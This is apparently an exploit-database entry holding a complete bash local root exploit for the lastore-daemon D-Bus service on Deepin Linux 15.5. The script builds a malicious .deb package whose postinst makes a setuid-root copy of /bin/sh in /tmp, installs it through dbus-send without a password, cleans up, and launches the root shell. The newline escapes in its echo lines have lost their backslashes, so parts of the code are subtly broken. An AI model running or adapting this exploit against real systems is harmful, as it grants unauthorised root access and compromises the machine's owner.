Deepin Linux 15 – ‘lastore-daemon’ Local Privilege Escalation

#!/bin/bash
# Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
#
# The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user
# in the sudo group to install arbitrary packages without providing a password,
# resulting in code execution as root. By default, the first user created on
# the system is a member of the sudo group.
# ~ bcoles
#
# Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/
#
echo Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit
echo Building package...
BASE="/tmp/"
UUID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1)
mkdir "${BASE}${UUID}" && mkdir "${BASE}${UUID}/DEBIAN"
echo -e "Package: ${UUID}nVersion: 0.1nMaintainer: ${UUID}nArchitecture: allnDescription: ${UUID}" > ${BASE}${UUID}/DEBIAN/control
echo -e "#!/bin/shncp /bin/sh ${BASE}/rootshnchmod 04755 ${BASE}/rootshn" > ${BASE}${UUID}/DEBIAN/postinst
chmod +x ${BASE}${UUID}/DEBIAN/postinst
dpkg-deb --build "${BASE}${UUID}"
echo Installing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.InstallPackage string:"${UUID}" string:"${BASE}${UUID}.deb"
sleep 10
echo Removing package...
dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.RemovePackage string:" " string:"${UUID}"
rm -rf "${BASE}${UUID}" "${BASE}${UUID}.deb"
if [ -f /tmp/rootsh ]
then
  echo "Success! Found root shell: /tmp/rootsh"
  /tmp/rootsh
else
  echo "Exploit failed! Check /var/log/lastore/daemon.log"
fi
            

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